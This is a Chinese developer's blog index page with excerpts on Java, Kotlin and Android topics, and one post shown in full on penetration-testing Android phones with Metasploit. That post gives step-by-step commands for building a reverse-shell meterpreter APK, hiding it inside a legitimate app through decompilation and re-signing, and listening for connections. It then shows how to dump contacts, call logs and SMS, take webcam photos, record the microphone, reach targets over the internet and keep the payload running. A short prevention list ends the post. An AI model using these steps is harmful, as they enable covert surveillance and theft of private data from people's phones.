Java并发编程概述

Java并发编程

进程和线程的区别

进程和线程的由来

  • 串行。初期的计算机智能串行执行任务，并且需要长时间等待用户输入。
  • 批处理。预先将用户的指令集中成清单，批量串行处理指令，仍然无法并行执行。
  • 进程。进程独占内存空间，保存各自运行状态，相互间不干扰且可以互相切换，为并发处理任务提供了可能。
  • 线程。共享进程的内存资源，相互间切换更快捷，支持更细粒度的任务控制，使进程内的子任务得以并发执行。

进程是资源分配的最小单元，线程是CPU调度的最小单位

  • 所有与进程有关的资源，都被记录在PCB中。
  • 进程是抢占处理器的调度单位；线程属于某个进程，共享其资源。
  • 线程只由堆栈寄存器、程序计数器和TCB组成。
more >>

展开全文 >>

注解与反射以及动态代理

注解与反射以及动态代理

注解

注解的定义

Annotation（注解）就是Java提供了一种元程序中的元素关联任何信息和着任何元数据（metadata）的途径和方法。

基本规则：Annotation不能影响程序代码的执行，无论增加、删除 Annotation，代码都始终如一的执行。

什么是元数据

  1. 元数据以标签的形式存在于Java代码中。
  2. 元数据描述的信息是类型安全的，即元数据内部的字段都是有明确类型的。
  3. 元数据需要编译器之外的工具额外的处理用来生成其它的程序部件。
  4. 元数据可以只存在于Java源代码级别，也可以存在于编译之后的Class文件内部。

注解的原理

当Java源代码被编译时，编译器的一个插件annotation处理器则会处理这些annotation。处理器可以产生报告信息，或者创建附加的Java源文件或资源。如果annotation本身被加上了RententionPolicy的运行时类，则Java编译器则会将annotation的元数据存储到class文件中。然后，Java虚拟机或其他的程序可以查找这些元数据并做相应的处理。当然除了annotation处理器可以处理annotation外，我们也可以使用反射自己来处理annotation

注解的分类

系统内置标准注解

  1. @Override(标记注解类型)
  2. @Deprecated(标志已过时)，
  3. @SuppressWarnings(抑制编译器警告)
more >>

展开全文 >>

Kotlin-委托

前言

项目地址https://github.com/laibinzhi/KotlinDelegation

类委托

首先从类委托开始

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
interface IWork {
    fun work()
}

class Teacher : IWork {
    override fun work() {
        println("I am a teacher")
    }
}

class Police : IWork {
    override fun work() {
        println("I am a Police")
    }
}

class Tony(work: IWork) : IWork by work

fun main() {
    Tony(Teacher()).work()
    Tony(Police()).work()
}

1
2
3
打印:
I am a teacher
I am a Police

以上的代码当中，我们定义了一个 IWork 接口，它的 work() 方法用于表示该工作，Teacher 和 Police 都实现了这个接口。接着，我们的 Tony 也实现了这个接口，同时通过 by 这个关键字，将接口的实现委托给了它的参数 work。这种委托模式在我们的实际编程中十分常见，Tony 相当于一个壳，它虽然实现了 IWork 这个接口，但并不关心它怎么实现。具体是用 Teacher 还是 Police，传不同的委托对象进去，它就会有不同的行为。另外，以上委托类的写法，等价于以下 Java 代码，我们可以再进一步来看下：

more >>

展开全文 >>

Android动画插值器Interpolator

前言

Android常见的三种动画

视图动画之帧动画

帧动画是顺序播放一组预先定义好的图片，类似于电影播放。不同于View动画，系统提供了另外一个类AnimationDrawable来使用帧动画。帧动画的使用比较简单，首先需要通过XML来定义一个AnimationDrawable

1
2
3
4
5
6
7
8
// res/drawable/frame_animation.xml
<? xml version="1.0" encoding="utf-8"? >
<animation-list xmlns:android="http://schemas.android.com/apk/res/android"
    android:oneshot="false">
    <item android:drawable="@drawable/image1" android:duration="500" />
    <item android:drawable="@drawable/image2" android:duration="500" />
    <item android:drawable="@drawable/image3" android:duration="500" />
</animation-list>
more >>

展开全文 >>

重学泛型

什么是泛型？

  • Java泛型(generics)是JDK5中引入的一种参数化类型特性

  • Java泛型(generics)是JDK5中引入的一个新特性，泛型提供了
    编译时类型安全检测机制，
    该机制允许程序员在编译时检测到非法的类型
    泛型的本质是参数类型，也就是说所操作的数据类型被指定为一个参数
    泛型不存在于JVM虚拟机

什么是参数化类型？

把类型当参数一样传递

数据类型只能是引用类型（泛型的副作用）

举个例子：

  • List中的”T”称为类型参数

  • List中的”Person”称为实际类型参数

  • “List“整个成为泛型类型

  • “List“整个称为参数化的类型ParameterizedType

    more >>

展开全文 >>

Jetpack Room+WorkManager在Android架构组件下的实战

前言

在空闲的时候，就要写代码来巩固以下自己的知识体系。所以呢，使用Room和WorkManager在Android架构组件下，实现一个查看Task列表，左滑右滑删除item，新建附带提醒功能的Task的App。

本文会牵涉以下知识点

  • Android架构组件
  • Jetpack - Room
  • Jetpack - WorkManager
  • Kotlin Coroutines
  • Recyclerview 自定义左滑右滑事件的实现
more >>

展开全文 >>

应用MSF域内渗透检测Android手机

安装msf

是什么？Metasploit Framework

什么是Metasploit？

简单来说：全球最常用的渗透测试框架，ruby语言写的

Metasploit是一款开源的安全漏洞检测工具，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的缓解措施，并管理专家驱动的安全性进行评估，提供真正的安全风险情报。

验证漏洞开源的工具

官网：https://www.metasploit.com/

github:https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers

如果是mac环境，直接在命令行中输入

1
2
3
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall

等待结果是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# laibinzhi @ laibinzhideMacBook-Pro in ~ [19:13:23]
$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  5922  100  5922    0     0  11939      0 --:--:-- --:--:-- --:--:-- 11915
Switching to root user to update the package
Password:
Downloading package...
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
 58  207M   58  120M    0     0  3225k      0  0:01:05  0:00:38  0:00:27 3468k
curl: (18) transfer closed with 90925034 bytes remaining to read
Checking signature...
Package "metasploitframework-latest.pkg":
   Status: package is invalid (checksum did not verify)
Cleaning up...
metasploitframework-latest.pkg

在zsh配置文件下配置msf路径的环境变量，方便直接调用msf路径

1
2
vim ~/.zshrc
export PATH="$PATH:/opt/metasploit-framework/bin"

启用msf

1
$ msfconsole

如果是第一次使用，在输入上面命令的时候，会提示初始化一个数据库，选择y

1
Would you like to use and setup a new database (recommended)? y

然后设置用户名和密码，这里都设置为msf

1
2
[?] Initial MSF web service account username? [opposec]: msf
[?] Initial MSF web service account password? (Leave blank for random password): msf

然后提示创建成功

在浏览器打开 https://localhost:5443/api/v1/auth/account

image

输入刚刚的用户名密码，登录进去。

制作木马程序

使用msfvenom工具来创建有效载荷APK文件（木马）

1
2
3
4
5
$ msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.0.101 LPORT=5555 R > /Users/laibinzhi/temp/msf/mua.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 10179 bytes

注意：

  • 10.0.0.101 是电脑的ip地址，可以通过下面命令行获取
    1
    ifconfig | grep "inet"

image

  • 端口号5555，使用这个就好
  • 后面输出的是apk后缀的木马文件

安装木马程序

本例子使用最简单的方式安装到手机上，安装成功后，他出现在桌面上，只有一个图标。如果是常见的就是把它反编译，把它注入到现有app中，这样就比较隐秘。

反编译注入

  1. 反编译

    1
    2
    apktool d normal.apk
    apktool d mua.apk

  2. 在目标MainActivityOnCreate插入

    1
    2
    invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

  3. 将木马mua文件夹中的metasploit整个目录放到目标文件下com下

  4. 把木马AndroidManifest文件的所有权限复制到目标的AndroidManifest中

  5. 重新构建apk

1
apktool b normal -o new.apk

6.签名

1
jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA  new.apk  androiddebugkey

监听手机

以此输入下列命令，比较注意的是这些参数的值跟之前msfvenom使用的参数一样。url和端口号

1
2
3
4
5
6
7
8
9
10
//加载模块
use exploit/multi/handler 
//选择Payload
set payload android/meterpreter/reverse_tcp 
//查看参数设置
show options 
set LHOST 10.0.0.101
set LPORT 5555
show options

image

最后执行下面命令正在监听

1
exploit
1
2
3
4
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.0.0.101:5555

这里表示一致在监听，如果现在用户点击了那个木马程序，那么就会建立一个meterpreter连接。

1
2
3
4
5
6
7
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.0.0.101:5555
[*] Sending stage (76767 bytes) to 10.0.0.15
[*] Meterpreter session 1 opened (10.0.0.101:5555 -> 10.0.0.15:44292) at 2020-09-17 19:47:25 +0800

meterpreter >

建立连接之后，我们就可以实现电脑控制手机了,下面就是一些常见的命令行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
meterpreter > help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    guid                      Get the session GUID
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Open an interactive Ruby shell on the current session
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    pry                       Open the Pry debugger on the current session
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    secure                    (Re)Negotiate TLV packet encryption on the session
    sessions                  Quickly switch to another session
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for "load"
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    del           Delete the specified file
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lls           List local files
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    execute       Execute a command
    getuid        Get the user that the server is running as
    localtime     Displays the target system local date and time
    pgrep         Filter processes by name
    ps            List running processes
    shell         Drop into a system command shell
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command       Description
    -------       -----------
    screenshare   Watch the remote user desktop in real time
    screenshot    Grab a screenshot of the interactive desktop


Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Stdapi: Audio Output Commands
=============================

    Command       Description
    -------       -----------
    play          play a waveform audio file (.wav) on the target system


Android Commands
================

    Command           Description
    -------           -----------
    activity_start    Start an Android activity from a Uri string
    check_root        Check if device is rooted
    dump_calllog      Get call log
    dump_contacts     Get contacts list
    dump_sms          Get sms messages
    geolocate         Get current lat-long using geolocation
    hide_app_icon     Hide the app icon from the launcher
    interval_collect  Manage interval collection capabilities
    send_sms          Sends SMS from target session
    set_audio_mode    Set Ringer Mode
    sqlite_query      Query a SQLite database from storage
    wakelock          Enable/Disable Wakelock
    wlan_geolocate    Get current lat-long using WLAN information


Application Controller Commands
===============================

    Command        Description
    -------        -----------
    app_install    Request to install apk file
    app_list       List installed apps in the device
    app_run        Start Main Activty for package name
    app_uninstall  Request to uninstall application

meterpreter >

体验

获取手机通讯录
1
2
3
4
meterpreter > dump_contacts
[*] Fetching 2 contacts into list
[*] Contacts list saved to: contacts_dump_20200917195142.txt
meterpreter >

在电脑目录多了一个contacts_dump_20200917195142.txt的文件，打开如图所示
image

获取手机通话记录
1
2
3
4
meterpreter > dump_calllog
[*] Fetching 9 entries
[*] Call log saved to calllog_dump_20200917195408.txt
meterpreter >

在电脑目录多了一个calllog_dump_20200917195408.txt的文件，打开如图所示
image

获取手机短信
1
2
3
4
meterpreter > dump_sms
[*] Fetching 6 sms messages
[*] SMS messages saved to: sms_dump_20200917195455.txt
meterpreter >

在电脑目录多了一个sms_dump_20200917195455.txt的文件，打开如图所示
image

拍照

获取摄像头列表

1
2
3
4
meterpreter > webcam_list
1: Back Camera
2: Front Camera
meterpreter >

表示有两个摄像头，前置和后置，如果想要用前置摄像头拍

1
2
3
4
5
6
meterpreter > webcam_snap -i 2
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /Users/laibinzhi/VEduPltE.jpeg
meterpreter >

在电脑目录多了一个VEduPltE.jpeg的图片，打开如图所示
image

同样的，后置摄像头就把2改为1

录像

支持实时的一帧帧的照片组成的视频,下面是一些配置参数

1
2
3
4
5
6
7
8
9
10
11
12

OPTIONS:

    -d <opt>  The stream duration in seconds (Default: 1800)
    -h        Help Banner
    -i <opt>  The index of the webcam to use (Default: 1)
    -q <opt>  The stream quality (Default: '50')
    -s <opt>  The stream file path (Default: 'znKDlLHK.jpeg')
    -t <opt>  The stream player path (Default: AXrBlNIK.html)
    -v <opt>  Automatically view the stream (Default: 'true')


1
2
3
4
5
meterpreter > webcam_stream -d 3000 -i 2
[*] Starting...
[*] Preparing player...
[*] Opening player at: /Users/laibinzhi/BXVgcrka.html
[*] Streaming...

在电脑浏览器打开一个网页显示，如图
image

窃听
1
2
3
4
meterpreter > record_mic -d 10
[*] Starting...
[*] Stopped
Audio saved to: /Users/laibinzhi/jRKKqgWB.wav

同样在电脑桌面多了一个wav音频文件，为10秒钟的窃听数据。

文件的上传和下载
1
2
3
4
5
6
7
8
9
10
meterpreter > search -d /storage/emulated/0/DCIM/Camera -f *.jpg
Found 7 results...
    /storage/emulated/0/DCIM/Camera/IMG_20191031_160023.jpg (5423142 bytes)
    /storage/emulated/0/DCIM/Camera/IMG_20191118_185509.jpg (5949546 bytes)
    /storage/emulated/0/DCIM/Camera/IMG_20191118_185524.jpg (5735779 bytes)
    /storage/emulated/0/DCIM/Camera/IMG_20200917_102718.jpg (8895869 bytes)
    /storage/emulated/0/DCIM/Camera/IMG_20200917_105937.jpg (4652128 bytes)
    /storage/emulated/0/DCIM/Camera/IMG_20200917_105941.jpg (4666146 bytes)
    /storage/emulated/0/DCIM/Camera/IMG_20200917_111307.jpg (4892873 bytes)
meterpreter >

通过search命令，获取手机的内容，比如图片
再通过download和upload命令，可以把手机上面的照片下载

windows?

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.101  LPORT=5555 x > /Users/laibinzhi/Downloads/mua.exe

怎么外网访问监听？

1.使用vps转发来达到上线目的。

2.使用Ngrok等工具做内网穿透。

掉线问题

自写守护脚本，用shell运行。

1
2
3
4
5
# !/bin/bash
while:
do am start --user 0 -a com.intent.MAIN -n com.lbz.testmsfdemo/.MainActivity
sleep 30
done

预防

  1. 请勿随意连上陌生wifi
  2. 下载应用程序要在官方渠道下载
  3. 手机不要root
  4. 手机app授权要谨慎
  5. 打包应用程序的时候安装包加固以免被不法分子反编译

展开全文 >>

Android UI绘制流程及原理

源码讲解

1
2
3
4
5
6
7
8
9
public class MainActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    }
}

我们加载view的时候会在onCreate()调用setContentView()传入布局资源ID,我们点进去这个方法，看看我们的view是怎么被投放在屏幕窗口上的。

1
2
3
4
public void setContentView(@LayoutRes int layoutResID) {
    getWindow().setContentView(layoutResID);
    initWindowDecorActionBar();
}
more >>

展开全文 >>

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

94<br>Guangzhou<br>Android Software Engineer<br>